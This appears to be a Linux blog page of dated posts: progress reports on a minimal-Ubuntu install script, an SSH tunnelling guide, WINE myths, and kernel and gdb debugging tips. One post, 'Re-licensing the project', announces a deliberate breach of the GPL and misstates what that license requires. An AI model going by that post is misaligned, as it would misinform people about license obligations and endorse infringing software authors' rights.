Linux Guider

Femtobuntu Progress Report

2011-05-10T10:55:00.000-07:00

I've ported the script fully to 11.04. ~~As expected, the KDE and *box segments required no modification, however (for some odd reason) you still get the generic Unity error on the first login (it never shows up again).~~ Unity isn't in there yet, but I'm working on it. If you want to hop on the testing train, you can download the script from http://minimal-desktop.sublevel21.com/latest.sh. Remember if you're wget'ing this onto a new CLI install you'll have to manually switch to tty1.

Unity support is my priority right now, then Xfce after that. GNOME2/3 work fine (so far as I know).

Update: Whaaaaat? The KDE install boots to GNOME 2. I... don't even know what causes that. Investigating the crap out of this...

Roadblocks

2011-05-04T11:12:00.000-07:00

Evidently Natty doesn't like a CLI install (from the 11.04 Alternate install disc). It refuses to boot! Let's hope the Netboot installation works.

Update: As dpeter pointed out, the CLI install fails to work inside the testing environment (as well as older machines). Until this is ironed out, I can't really work on the project effectively.

Le Second Update: esauvisky pointed out that tty switching still works. I hate to do it, but I guess I have to make the user handle tty switching in order to get to the script until this bug is fixed. Thanks, mate!

Update the Third: Installing GNOME forces the install of Unity. This needs to stop happening. I'm not even sure why, because none of the dependency trees map out that way. I think the default install of GDM is designed to kick to Unity, even when it's not even installed.

Update⁴: Or not! It's just stupid and gives me the standard "your hardware can't run Unity" message, despite Unity not being installed at all.

Advanced SSH Tunelling

2011-04-12T05:25:00.000-07:00

In case you don't already know, ssh is kind of a big deal in the GNU/Linux world. It stands for "secure shell", and it's one of the primary ways of remote administration (or login in general). Apart from the standard use, one of my favorite uses of ssh is to create on-the-fly tunnels (or proxies).

This guide makes the following assumtions:

You own a Linux computer
Said computer's SSH port is forwarded
You have a basic understanding of the Linux command line
The client is running a POSIX-compliant OS with ssh installed

The basic syntax is as follows:

ssh -D 9999 user@ip.add.ress

Let's break that down a little. ssh is the command to create a secure shell session. The -D flag tells SSH to create a local tunnel (SOCKS5) on the specified port, in this case 9999. user is your username, and ip.add.ress is the IP address of your proxy server. You can retrieve this by running the command:

wget http://www.whatismyip.com/automation/n09230945.asp -O - -o /dev/null && echo

on the SSH server. (Note: the echo command is necessary because wget does not echo a newline at the end of its output.) In order to use this proxy that we've just set up, we need to configure our programs to use it. Most Web-based programs have proxy settings (for example, in Firefox they are found in Edit > Preferences... > Advanced > Network > Settings... In the "Server" or "Host" section, you would place localhost and in the Port section you would type 9999 (or whatever port you specified above). This will route all traffic through that server, through the secure connection that SSH provides.

In some cases, this is not enough. Let's say you have a remote computer running VNC and you don't have its ports forwarded. Is it possible to connect to that machine though your SSH server? The answer is a resounding "yes". It's more complicated, but entirely possible. The syntax would be:

ssh -L 9999:net.work.ip:5900 user@ip.add.ress

Instead of using the -D flag, we use the -L flag. This creates a direct proxy to a specific machine. As above, 9999 is the local port to create the tunnel on, user is your username on the SSH machine, and ip.add.ress is your external IP address. In the example above, 5900 is the port we want to connect to on the remote computer, and 5900 is the default VNC port. Replace this with what you need. net.work.ip is the local IP address of the final target machine. You can retrieve this by running the command:

ifconfig |grep inet |grep Bcast |cut -d ':' -f 2

on the target machine.

Let me know if there's anything else I can expand on.

Planned downtime

2011-02-17T07:09:00.000-08:00

The scripts and script generator (on minimal-desktop.sublevel21.com) will be offline for planned maintenance from 1:00 PM EST to approximately 2:30 PM EST. You can still download the scripts from Launchpad, Github, or Softpedia.

Re-licensing the project

2011-02-10T22:43:00.000-08:00

After much deliberation and research, I have decided to put my foot down and stop using the GNU Public License (GPL) for future releases of MDU. I understand that the terms of the GPL explicitly state that derivative works must be GPL'd, but I'm consciously breaking the terms of the license. Starting with the next version of MDU (most likely 11.04), the script will be licensed under the much more free (as in freedom) MIT license.

If anyone has a problem with the re-licensing, I invite you to take a look at the comparitave lengths of each license. The MIT license reads, "you may do whatever you want with this code." The GPL reads, "you may do whatever you want with this code, provided it does not use any non-free libraries and the derivative works must be licensed under the GPL." Yikes.

Working with Big Patchsets

2011-01-30T04:47:00.000-08:00

In the past, whenever there was a need for me to test or review huge patchsets, I'd generate individual patches by saving the mails containing them. This can get cumbersome, especially if the patchset is huge and if you have to try out multiple versions of the patches. There is however an alternative available. It is to obtain the mbox file pertaining to the entire patchset. The mbox file for kernel patches can be obtained from patchworks. The home page displays a list of projects that are hosted. Below are a few steps to get started -

Create a login on patchworks
Once in your account, select the project of interest from the home page
Using the filters, search for the particular patchset
Select the individual mails of the patchset and create a new 'bundle' from the interface at the bottom of the page. 'bundles' are a group of related
patches. Name the bundle appropriately
You can go to all your bundles by clicking on the 'bundles' link at the top right corner of any page
The bundles interface allows you to manage your bundles, with support to download it. Bundles are nothing but all the mails in a mbox format
You can then open the mbox with either your mail client or apply it directly to your tree with patch management tools that allow importing mbox files. I use mutt to read the mbox file and stgit to import the patches

Attobuntu Update 2

2011-01-18T18:18:00.000-08:00

Not too much going on lately, but there have been some significant changes to the script.

Added support for Openbox and Blackbox
Improved choice tree for *box segment: Now has all of the choices of the other sections (minus CUPS)
Fixed the bug for rare moments when the script didn't terminate with a reboot
Fixed the k/ubuntu-restricted-extras lockup bug

I am looking into adding support for Xfce, LXDE, and Unity. These will probably be implemented in MDU 11.04 "Femtobuntu", due out on the 28th of April this year.

You can get 10.10.2 "Attobuntu Update 2" from the Launchpad, Github or my Personal Version Archive.

Attobuntu Update 1

2010-11-19T04:32:00.000-08:00

Version 10.10.1 of the MDU script is almost ready. Some changes:

CUPS (printing) support
Wicd enabled as a choice for GNOME
Fixed the read-only README problem

You can download the latest test version from my Personal Version Archive.

You can now download the script from Launchpad.

Thoughts on Unity

2010-10-27T21:13:00.000-07:00

Unity is going to replace the GNOME shell in Ubuntu 11.04, "Natty Narwhal". This recent development gives me very mixed feelings. I've never been a huge fan of Unity, even going far enough to recommend against it when people ask me about it. A few unfortunate aspects of Unity caused me a great deal of unease when I heard about this change.

Unity requires hardware acceleration.
I have always loved Ubuntu for its ability to operate on older hardware. I run MDU on laptops with hardware older than some people I know. I tried to boot into Ubuntu 10.10 Netbook Edition in VirtualBox and was greeted with a nice, fat error message:

As it turns out, Unity literally cannot run without hardware acceleration thanks to its grounds in Mutter, immediately turning off potential users. ("Why can't I just boot to my desktop? What does this mean?") Unless Unity somehow stops requiring hardware acceleration, I see this as being a potential roadblock to Ubuntu's success. At the keynote, Mark Shuttleworth stated that the new Unity will use Compiz instead... here's hoping it does.
Unity takes control away from the user.
The Unity interface is clean. Very clean. It has a nice Applications menu in the top-left (sporting the Ubuntu Circle of Friends logo) with an application-switcher panel on the left edge of the screen. Along the top is a typical-looking GNOME panel... one that is not customizable. As far as I'm aware, Unity itself cannot be themed (please correct me if I'm wrong) and the top panel cannot be changed without logging out, then logging into a standard desktop GNOME session. This defeats the entire purpose of Unity -- simplicity.
Unity just isn't for everyone.
I do not like Unity. I could even go far enough to say that I simply cannot work in Unity. It feels like I've turned "baby mode" on... it feels less like I'm running an operating system on my machine, and more like I'm playing with a toy. I know this feeling is not shared by everyone, but I also know more than a few people for whom this applies. I simply like GNOME 2.x better. At this point, it's a KDE/GNOME discussion, but isn't that the entire reason Kubuntu exists in the first place? The ability to choose is what gives Ubuntu (and the MDU project) its strength. By forcing Unity on everyone (by default), we lose that ability to choose.

These (rather outstanding) problems with Unity will seriously cripple any potential Ubuntu release. As a side note, I've already begun experimenting with other Linux versions1 -- not because I have a problem with Ubuntu, mind you! Simply because I disagree with the decisions that Canonical is making in regards to Ubuntu's direction.

Don't worry, though! MDU will continue to release on-time as long as I can manage to do it, and I will most definitely enable the user to choose if they wish to have Unity installed on their system or not.

Amendment 04/13/2011: GNOME 3 isn't much better, either. It has most of the flaws of Unity. My ideal DE is something like what GNOME 2.32 is now. I seriously hope someone forks it and continues development.

1Fedora is a strong contender in this race. It is the distribution that Red Hat is based on (therefore uses yum instead of apt and installs from *.rpm files instead of *.deb files). Look into it if you're feeling ready to take on a slightly more advanced GNU/Linux distribution.

Compatibility

2010-10-19T07:36:00.000-07:00

I have done my best to ensure backwards compatibility between the 10.10 script and Ubuntu 10.04. The Attobuntu script will run without error on Lucid, even though it was designed for Maverick.

Some common misconceptions about WINE

2010-10-18T15:24:00.000-07:00

WINE is one of the most helpful pieces of software in the FOSS world. It helps Windows users transition to GNU/Linux more easily -- simply by making Windows software available on Linux. However, there are some unfortunate falsehoods regarding WINE and its use, that I aim to settle here.

WINE is Windows.
I hear this one a lot. "WINE is just virtualized Windows." This is completely, utterly false. WINE is Windows in the same way that OpenOffice is Microsoft Office -- They aim to provide similar functionality, but are certainly not the same product. WINE does not require a Windows license to use, nor does it truly virtualize anything.

WINE is based on leaked Windows code.
This may have been true at one time, but since then WINE has been completely clean-room rewritten. The developers periodically perform source code audits, and to the best of anyone's knowledge there is no Microsoft code in WINE.

WINE is not an emulator.
WINE is a recursive acronym meaning "WINE is not an emulator", which is something newcomers to the FOSS scene are quick to point out. However, WINE is, in fact, an emulator. The term "emulate" means "to imitate (a particular computer system) by using a software system, often including a microprogram or another computer that enables it to do the same work, run the same programs, etc., as the first." (Source.) In this regard, WINE is most certainly an emulator -- it emulates the software environment that Windows NT provides.

Programs run in WINE perform more poorly than native Linux apps.
The very nature of WINE (that is, being a software compatibility layer) means that any performance hit is not due to WINE itself. Most (if not all) software performance problems stem from two things: inferior graphics drivers for Linux (something we nVidia users have begrudgingly gotten used to) or nonstandard libraries. Or both, in the case of any QuickTime-based application. Many apps run under WINE actually perform better on Linux than they did under Windows, something which is surprising to the people who subscribe to #1.

After writing this article, I found a very well-written page on the WINE website that describes more.

Moving the minimize, maximize, close buttons

2010-10-13T09:34:00.000-07:00

Metacity, Ubuntu's window manager, comes with the buttons to close, minimize and maximize the window over on the left, OSX-style by default (since Ubuntu version 10.04). Many users convert from Windows to Ubuntu, and prefer the buttons over on the right, Windows-style. Changing the location of the buttons is actually very simple. To move them back to the right, simply open Terminal and enter:

gconftool-2 --set /apps/metacity/general/button_layout --type string menu:minimize,maximize,close

To move them over to the left, enter:

gconftool-2 --set /apps/metacity/general/button_layout --type string close,minimize,maximize

The 10.04.1 version of the script contained this code, but since the script is run as root the command does not execute properly and did nothing.

MDU 10.10 "Attobuntu" released!

2010-10-10T10:04:00.000-07:00

The Attobuntu final release can be downloaded from my Personal Version Archive, the Github, or the Launchpad.

The only change from the RC is a fix to the KDE install. Happy Ubuntu release day!

Attobuntu RC now available

2010-10-06T09:36:00.000-07:00

The Attobuntu release candidate can be downloaded from my Personal Version Archive, the Github, or the Launchpad. Enjoy!

Minimal Desktop 10.10 "Attobuntu"

2010-10-04T14:58:00.000-07:00

The next version of MDU, slated for release in less than six days (that's right, I'm working at a Day 0 release), is nearing completion. I've committed the latest test version to the Github, and you can also get it from the PVA. An announcement will be made on Launchpad, Freshmeat and here when the version goes gold. The generator's update will happen sometime in the next two weeks (there's only one or two things that have changed since the generator was completed).

What has changed:

Added a script to be added into rc.local that will properly update the Opera repositories (especially if the computer is on a wireless network)

Removed some packages that don't exist in maverick

Added Fluxbox support

All in all, no major changes so far. Aptitude was rumored to be removed from the final version of Maverick, but it's still in the daily ISO, so it seems to be fine.

Stay tuned!

MDU-SG

2010-09-26T23:14:00.000-07:00

I am happy to announce that version 1.0 of the Minimal Desktop for Ubuntu Script Generator (see title) is now officially online. It is marked for MDU version 10.10, which is currently in beta, but it also works well for 10.04.2. The generator is an implementation of an idea that Stacy R. had back in June, and it is hopefully an easy way to get an MDU installation off the ground more quickly.

The frontend was coded by me, and the backend was coded by Terrance. More information can be found on the About section on the generator.

For now, enjoy! Please post any bugs you find through the comment system on this post, or use the Feedback form on the generator.

Minimal Desktop for Ubuntu Script Generator « Link

Addition to the team

2010-09-16T12:18:00.000-07:00

Remember back in June when I asked for PHP programmers? Well, a friend of mine named Terrance has stepped up to the plate and made an alpha version of the online script customizer. There are still a number of bugs to be worked out, but it's a great first step!

We welcome Terrance to the team and I'm very glad he offered to join us.

Update: The online script customizer can be found here. It's still in beta, but it works pretty well.

Permission granted!

2010-09-10T18:41:00.000-07:00

Not too long ago, I contacted Canonical customer support for permission to use the Ubuntu name and logo in relation to this project. In response, I received the following email.

Dear Anthony,

Thank you for contacting us and your interest in and support of Ubuntu.

Canonical is the official sponsor of the UBUNTU project and owns the trade marks, both in the word and logo form, relating to the project.

To keep the balance between the integrity of our trade marks and the ability to customise UBUNTU, we've tried to define a reasonable trade mark policy that allows our Community to use UBUNTU and to promote the project. In case you haven’t seen it, that policy is at http://www.ubuntu.com/aboutus/trademarkpolicy.

We do encourage people to make custom versions of UBUNTU, and we have established a "remix" concept to allow for this. Remixes are derived versions of UBUNTU. Where the changes from the official UBUNTU product are minimal the UBUNTU trade marks may be used, but only to identify that the system is based on or built on UBUNTU.

Once again, thank you for your support of the UBUNTU project.

Kind regards,

Michelle,
Trade Marks Team

Michelle Surtees-Myers
Ubuntu - Linux for Human Beings

What does this mean? It means we can use the Ubuntu logo and name, as long as we don't claim to be officially sanctioned or affiliated with the Ubuntu project (which we don't). Huzzah!

Project's renaming

2010-08-31T09:03:00.000-07:00

In order to be more compliant with the Ubuntu trademark restrictions, I have renamed the project "Minimal Desktop for Ubuntu" (thanks duanedesign for the name).

Announcing Zeptobuntu 10.04 Update 2!

2010-06-11T21:27:00.000-07:00

This is probably the biggest "update" (I hesitate to call it that) that I've done on the script yet, besides adding KDE support. Speaking of which, the 10.04.2 script integrates the choice between GNOME and KDE. Additionally, the script now has a "default setup", which is what is built if the user just hits Enter a bunch of times. As a part of creating the default install, I had to rework the syntax of the script (unfortunately have to perform all string operations on the numerical choices... I feel dirty).

Probably the hardest thing was changing the way libdvdcss2 (DVD playback support) is installed. It used to invoke a script that was installed with the libdvdread4 package, which is the standard method. However, this caused complicated output, and I wanted a simpler way. So, after detecting which architecture your computer has (32-bit or 64-bit), it simply downloads the appropriate package file from Medibuntu and installs it.

Oh, and I removed that broken option to move the minimize-maximize-close buttons over to the right. Didn't work at all. :P

Check it out here: https://launchpad.net/ubuntu-desktop-minimal/+milestone/10.04.2

Looking for PHP programmers

2010-06-11T11:02:00.000-07:00

Stacy on Launchpad had an excellent idea... create a Web-based interface to customize the installer before the user installs Ubuntu. I think that's a great idea; unfortunately dynamic Web content is not my forté. If anyone's interested in creating a script customization system, please contact me!

Logo redesign

2010-06-10T19:39:00.000-07:00

The image is licensed under the Creative Commons Attribution-Share Alike 3.0 License, meaning you're free to take it and use it anywhere with modification as long as you link back here or credit me in some way. The Ubuntu logo itself is trademark Canonical, and its use is subject to the terms of the Ubuntu trademark policy.

UMD Logo (800x800)
UMD Logo (192x192)
UMD Logo (64x64)
UMD Logo (PSD format)

Oh durn D:

2010-06-10T12:52:00.000-07:00

Turns out that the KDE script had a little bug in it. When the script tried to install kdeutils, a package called kdelirc would be installed as a dependent. Unfortunately, aptitude installs "recommended" packages by default. One of these Recommended packages is lirc, which can't be installed non-interactively (as the script is). This causes the script to appear "locked up" because the input is being directed to the lirc install script.

I've fixed it now, but dang. I should have caught that in testing. Weird how I didn't.

Future Plans for DEs

2010-06-09T07:45:00.000-07:00

As you may know, UMD Update 1 now includes a separate script for installing the K Desktop Environment (KDE). In the future, this choice will be integrated into the base script, allowing for simplicity and ease of use.

Why UMD?

2010-06-05T05:57:00.000-07:00

I get a lot of people asking me... why bother? Why create a system that's (relatively) complicated, and why label it "minimal" when it uses such things as GNOME or KDE? Well, I guess that all depends on your definition of "minimal".

In the traditional sense, minimalism was the bare minimum of what you needed to operate. My variation on minimalism is heavier on system resources than most "minimal desktops" (using IceWM or Fluxbox, for example), but it's still a stripped-down version of the base Ubuntu install. I decided to use GNOME (initially) because I'm aware that other, more traditional desktop environments tend to seem scary and confusing to the Linux newbie. My distribution is not intended to cater to the pure first-timer, but it is also not exactly geared toward the Linux expert either.

Why did I do it? I guess you'd need to look at the project's origin for that. Shortly before the release of Ubuntu 9.10 (Karmic Koala), it was announced that Empathy IM would replace Pidgin as the default IM client. After trying it out, I decided that Empathy was far too immature for production usage, lacking very important base features such as stable file transfer, Blocking, and OTR (off-the-record) chatting. I downloaded and installed the 9.10 release ISO and tried removing Empathy. However, once it's installed, Empathy has several packages that "depend" on it that are important to the base system. I decided to see if these dependencies were real -- which they were not. I then built my own version of the UMD script, so I could easily deploy my version of Ubuntu. A friend of mine suggested that I add user choices into the mix and release it, so I did.

I take pride in the choice given to the user by my project that is taken from them by the Ubuntu team. Sure, you can install Chromium, or Opera, or SRWare Iron in place of Firefox. But uninstalling programs leaves so many files behind (even after performing rm -rf ~/.mozilla). It's always best to start from the bottom and work your way up (any user familiar with Windows bloatware knows exactly what I'm talking about).

I suppose the better question would be: why didn't I do this before?

Avoid Kmail Editor And Use Vim Editor Instead

2010-05-26T04:03:00.000-07:00

Kmail has bad editor when it comes to sending patches inlined. More often the message gets mangled (word wrapped). To overcome this problem Kmail allows the use of external editor.

1. Settings->Configure Mail and Click on Composer
2. Click on "Use External Editor" and specify the editor as "xterm -e vim -f %f"
3. Click Apply.

Open the composer and type in mail id and subject and click on the body. When you start typing a new editor window opens up which is vim. Type in your message and type ":wq". Thats it.

For people intending to send patches, use :vsplit and use visual method to highlight and 'y' to yank the highlighted message. Close the vsplit and type "p" to paste it.

Convert VCD T0 AVI (Xvid)

2010-04-21T22:18:00.000-07:00

A simple way to convert old vcds to avi(xvid) and not lose too much video quality is by using the tool mencoder.

Download and Install mencoder:
#sudo apt-get install mencoder

Start Conversion:
#mencoder vcd://2 -o movie.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=2000

Where vcd://2 points to the title you wish to decode. Most vcds have 2 to 3 titles and the biggest one being the movie. Choose the biggest title of vcd for the decode. If you are unsure what to choose, i suggest trial and error starting from 1 to any number till mencoder throws out error of not finding the title.

Rip mp3 from cue/flac!

2009-12-18T01:08:00.000-08:00

Here is a simple way to rip mp3 from flac files. There are few softwares that need to be installed for to work.

Download and Install Sound Converter For Linux. It can be downloaded from here.

Once Installed you can start up the application from the multimedia panel in the start menu.

Install additional packages
#sudo apt-get install flac mp3splt

Step 1: Convert the flac file to mp3 using Sound Converter. This process is quite simple. Start the sound converter and specify the flac file you wish to convert and press "Convert". This converts the flac file to one single mp3 file. But we are aware of multiple songs in that mp3 file.

Step 2: Split the single mp3 files into multiple mp3 tracks. This can be done using the mp3splt utility we just installed.
#mp3splt -f -c Album.cue Album.mp3
Assuming that Album.mp3 is the file produced by the Sound Converter. "cue" files are generally provided with flac files for this very purpose. If you do not have the cue file, you have to use some mp3 splitter to achieve the same.

Step 3: The new mp3 files might have issues with reading mp3 duration of these files. If that happens then a simple tool called vbrfix will fix the problem.
Install vbrfix
#sudo apt-get install vbrfix

To fix a mp3 file using vbrfix
#vbrfix myfile.mp3 myfile_fix.mp3

The myfile_fix.mp3 would have the duration problem fixed.

Real-Time Linux Kernel Scheduler

2009-09-17T22:38:00.000-07:00

My article explaining the Real-Time Linux kernel scheduler is finally available for general reading on the Linux Journal site. You can read it here. Any feedback on the article are most welcome !

Dumping kernel page tables

2009-08-03T10:30:00.000-07:00

Sometimes when debugging kernel issues, you might come across kernel addresses that you would find very difficult to map to a particular section in the kernel, ie, vmalloc, vmemmap, low/high kernel mapping, kernel text, etc. On x86, Arjan van de Ven has written an interface that provides a dump of the kernel page tables which gives information on the various memory areas in the kernel.

# cat /debug/kernel_page_tables
---[ User Space ]---
0x0000000000000000-0xffff800000000000 16777088T pgd
---[ Kernel Space ]---
0xffff800000000000-0xffff880000000000 8T pgd
---[ Low Kernel Mapping ]---
0xffff880000000000-0xffff880000200000 2M RW GLB x pte
0xffff880000200000-0xffff880040000000 1022M RW PSE GLB x pmd
0xffff880040000000-0xffff8800cfe00000 2302M RW PSE GLB NX pmd
...
---[ vmalloc() Area ]---
0xffffc20000000000-0xffffc20000001000 4K RW PCD GLB NX pte
0xffffc20000001000-0xffffc20000004000 12K pte
0xffffc20000004000-0xffffc20000005000 4K RW PCD GLB NX pte
0xffffc20000005000-0xffffc20000008000 12K pte
0xffffc20000008000-0xffffc2000000d000 20K RW PCD GLB NX pte
0xffffc2000000d000-0xffffc20000010000 12K pte
0xffffc20000010000-0xffffc20000011000 4K RW PCD GLB NX pte
....
---[ Vmemmap ]---
0xffffe20000000000-0xffffe20007c00000 124M RW PSE GLB NX pmd
0xffffe20007c00000-0xffffe20040000000 900M pmd
0xffffe20040000000-0xffffe28000000000 511G pud
0xffffe28000000000-0xffffff8000000000 29T pgd
0xffffff8000000000-0xffffffff80000000 510G pud
---[ High Kernel Mapping ]---
0xffffffff80000000-0xffffffff80200000 2M pmd
0xffffffff80200000-0xffffffff80a00000 8M RW PSE GLB x pmd
0xffffffff80a00000-0xffffffffa0000000 502M pmd
---[ Modules ]---
0xffffffffa0000000-0xffffffffa000a000 40K RW GLB x pte
0xffffffffa000a000-0xffffffffa000f000 20K pte
0xffffffffa000f000-0xffffffffa0016000 28K RW GLB x pte
0xffffffffa0016000-0xffffffffa001b000 20K pte
....
...

Understanding the above output:

o First field indicates the address range of a particular type of area (for example, user space, vmalloc area, kernel space, etc)
o The second field indicates the size of the address range in K,M,G,T units
o The fields following the size of the range have the following meaning:
USR - whether the page being mapped is a user page or not
RW - whether the page is read/write. If not RW, the output would be 'ro' to indicate a read-only page
PCD - Page Cache Disabled - maps a page with caching disabled
PWT - page with Page Write-Through set
PSE - Extended paging enabled - allows large linear contiguous address ranges to be mapped
GLB - Page Global flag - The global flag is set for a page that is frequently used and prevents it from being flushed from the TLB
NX - Page is non-executable, else marked as 'x'
o The last entry indicates the particular level of the page table - pgd, pud, pmd or pte that the region corresponds to

Enable the CONFIG_X86_PTDUMP configuration option, along with enabling debugfs. The corresponding kernel code for the interface can be found under arch/x86/mm/dump_pagetables.c

Using gdb for debugging kernel modules

2009-07-23T22:42:00.000-07:00

This is a very simple and maybe trivial post.. and nothing novel ! But something that has helped me a lot in debugging issues with my kernel modules and kernel panics in general. So, when you get a panic originating in a kernel module, you normally get it in the following format:

BUG: unable to handle kernel NULL pointer dereference at 0000000000000050
IP: [<ffffffff8023262c>] mmput+0x11/0xb0
PGD 22bcf6067 PUD 211839067 PMD 0
Oops: 0002 [#1] SMP
last sysfs file: /sys/block/sdb/size
CPU 6
Modules linked in: <a routine in my module> ehci_hcd uhci_hcd [last unloaded: <my module>]
Pid: 26830, comm: <my kernel thread> Not tainted 2.6.28-anki #13
RIP: 0010:[<ffffffff8023262c>] [<ffffffff8023262c>] mmput+0x11/0xb0
RSP: 0000:ffff8802279fbed0 EFLAGS: 00010246
RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000045
RDX: ffff88022e150300 RSI: 0000000000000282 RDI: 0000000000000000
RBP: ffff8802279fbee0 R08: 0000000000000018 R09: ffff88022e150300
R10: ffff88022e150300 R11: 00007fffe6dfefff R12: ffff88022e52f860
R13: ffff88022e150300 R14: ffff88022d99aed0 R15: ffff88022d99b110
FS: 0000000000000000(0000) GS:ffff88022f818280(0000) knlGS:0000000000000000
CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b
CR2: 0000000000000050 CR3: 0000000211829000 CR4: 00000000000006e0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
Process memref (pid: 26830, threadinfo ffff8802279fa000, task
ffff88022d4ef1b0)
Stack:
ffff88022e150300 0000000000000000 ffff8802279fbf20 ffffffffa003314b
ffff8802279fbf20 ffff88022d99aed0 ffffffffa00330f2 ffff880210cf1c68
ffff88022f855ee0 ffff88022f855f00 ffff8802279fbf40 ffffffff802468e3
Call Trace:
[<ffffffffa003314b>] <routine in my module>+0x59/0xb2 [<my kernel thread>]
[<ffffffffa00330f2>] ? <my modulee>+0x0/0xb2 [<my kernel thread>]
[<ffffffff802468e3>] kthread+0x49/0x76
[<ffffffff8020cce9>] child_rip+0xa/0x11
[<ffffffff802277a5>] ? dequeue_task+0xbf/0xca
[<ffffffff8024689a>] ? kthread+0x0/0x76
[<ffffffff8020ccdf>] ? child_rip+0x0/0x11
Code: df e8 88 c7 fd ff 48 8b 3d ba 28 6b 00 48 89 de e8 b1 af 05 00 41 59 5b
c9 c3 55 48 89 e5 53 48 89 fb 48 83 ec 08 e8 6a fa 39 00 <f0> ff 4b 50 0f 94
c0 84 c0 0f 84 8b 00 00 00 48 89 df e8 8b 76
RIP [<ffffffff8023262c>] mmput+0x11/0xb0
RSP <ffff8802279fbed0>
CR2: 0000000000000050

Now, to find out from where exactly in my module the panic happened, I simply use gdb, as below:

#gdb <path to my module.o file from the kernel source root dir> [for example, #gdb drivers/misc/ankita.o]
....
(gdb) list *(the routine)+0x59

The above gives a source listing, pointing to the lines which correspond to 0x59 address. This serves as a good starting point to debug the issue. Hope this helps some folks atleast :-)

Looking at thread state inside gdb

2009-07-16T10:18:00.000-07:00

While helping a friend debug a multi-threaded application hang on linux, using gdb. She was facing difficulty in pointing out exactly which were the threads that were in blocked state. Getting thread info only tells us what the thread ids are and the routine they are executing.

(gdb) info threads
12 Thread 4398053392560 (LWP 7234) 0x0000000010005740 in xxxx ()
11 Thread 4398054441136 (LWP 7235) 0x0000000010005740 in xxxx ()
10 Thread 4398055489712 (LWP 7237) 0x0000000010005748 in xxxx ()
9 Thread 4398063878320 (LWP 8263) 0x0000000010000768 in yyy ()
8 Thread 4398062829744 (LWP 8267) 0x0000000010003624 in zzz ()
7 Thread 4398061781168 (LWP 8270) 0x0000000010003624 in zzz ()
6 Thread 4398060732592 (LWP 8273) 0x0000000010001ce4 in ddd ()
5 Thread 4398059684016 (LWP 8276) 0x0000000010000750 in fff ()
4 Thread 4398058635440 (LWP 8277) 0x000000001001e128 in ttt ()
3 Thread 4398057586864 (LWP 8278) 0x0000000010003624 in zzz ()
2 Thread 4398056538288 (LWP 8281) 0x000000001001e140 in rrrr ()
1 Thread 269578240 (LWP 28151) 0x000000001000cba4 in www ()

She complained that in another proprietary debugger she has worked with in the past, she could easily also get the thread status information as well. Found that on gdb, we need to use the following commands to get the status information of the threads:

(gdb) help info proc
Show /proc process information about any running process.
Specify any process id, or use the program being debugged by default.
Specify any of the following keywords for detailed info:
mappings -- list of mapped memory regions.
stat -- list a bunch of random process info.
status -- list a different bunch of random process info.
all -- list all available /proc info.

(gdb) info proc 7234 stat
process 7234
cmdline = '/usr/bin/xyz'
warning: unable to read link '/proc/7234/cwd'
warning: unable to read link '/proc/7234/exe'
Process: 7234
Exec file: xyz
State: S
Parent process: 3230
Process group: 7234
Session id: 7234
TTY: 0
TTY owner process group: -1
Flags: 0x402040
Minor faults (no memory page): 96
Minor faults, children: 0
Major faults (memory page faults): 0
Major faults, children: 0
utime: 0
stime: 0
utime, children: 0
stime, children: 0
jiffies remaining in current time slice: 20
'nice' value: 0
jiffies until next timeout: 1
jiffies until next SIGALRM: 0
start time (jiffies since system boot): 4371
Virtual memory size: ...
Resident set size: ....
rlim: ......
Start of text: 0xb8013000
End of text: 0xb8025ca4
Start of stack: 0xbf925630

(gdb) info proc 7234 status
process 7234
cmdline = '/usr/bin/xyz'
warning: unable to read link '/proc/7234/cwd'
warning: unable to read link '/proc/7234/exe'
Name: xyz
State: S (sleeping)
Tgid: 7234
Pid: 7234
PPid: 3230
TracerPid: 0
Uid: 1000 1000 1000 1000
Gid: 1000 1000 109 1000
FDSize: 32
Groups: 4 20 24 46 106 117 118 123 124 1000
VmPeak: 4784 kB
VmSize: 4784 kB
VmLck: 0 kB
VmHWM: 636 kB
VmRSS: 636 kB
VmData: 380 kB
VmStk: 84 kB
VmExe: 76 kB
VmLib: 4020 kB
VmPTE: 20 kB
Threads: 1
SigQ: 0/16382
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000001002
SigCgt: 0000000180004001
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: ffffffffffffffff
Cpus_allowed: 00000000,00000003
Cpus_allowed_list: 0-1
Mems_allowed: 1
Mems_allowed_list: 0
voluntary_ctxt_switches: 627
nonvoluntary_ctxt_switches: 0

So as we can see, we can get a whole lot of information about the threads and not just the state. There are other options supported by the info proc command as shown by the help. gdb picks up the above information from the /proc/<pid> interface. It helps to be able to look at all the pieces of debug information from the same interface itself.

Fake NUMA nodes in Linux

2009-07-03T09:55:00.000-07:00

While NUMA systems are becoming commonplace, many a times we do not have access to such systems when either writng new code, understanding NUMA architecture, conducting experiments or debugging existing code. For such cases, the Linux kernel provides a very neat feature called 'fake numa nodes'. One can create fake numa nodes on a non-NUMA machine by simply passing a commandline parameter to the kernel. Below are the steps for x86 systems:

Following config options need to be turned on: CONFIG_NUMA=y, CONFIG_NUMA_EMULATION=y
Build the kernel with the above config options set
The kernel commandline could be any one of the following, depending on your requirement:

numa=fake=4 : Split the entire memory into 4 equal nodes
numa=fake=8*1024 : Split the memory into 8 equal chunks of 1024MB (ie 1G) (note, the number is considered to be in MB) [If system has more memory, the last node will be assigned remaining memory]
numa=fake=2*512,2*1024 : Split the memory into 2 nodes of 512MB each and 2 more nodes of 1GB each (and so on)

Note: On ppc, the nodes required are specified using cumulative comma separated list. For example, to create 4 nodes of 2GB each the parameter would be: "numa=fake=2G,4G,6G,8G"

You can play around with more options :) The userspace numa utilities like numactl and numastat would then show the numa environment that has been setup. Details of the cpumap and per-node meminfo can be obtained from the sysfs file /sys/devices/system/node/node<0|1|2..>.

Fake NUMA has one flaw however and that is the CPU mapping to nodes. There would exist nodes that do not show up as having any CPUs (unde the cpumap file in the node dir of the above mentioned sysfs file). As per the semantics, a CPU must unquely belong to a NUMA node. However, inside the kernel, the CPU is mapped to all the fake nodes.

Fake NUMA nodes can be created even on a real NUMA system. In this case, the fake nodes are aligned within a real node. The distances between two fake nodes across two real nodes is maintained. Could cover internal implementation details in a separate post. Have fun playing around with NUMA !

Build your kernel faster

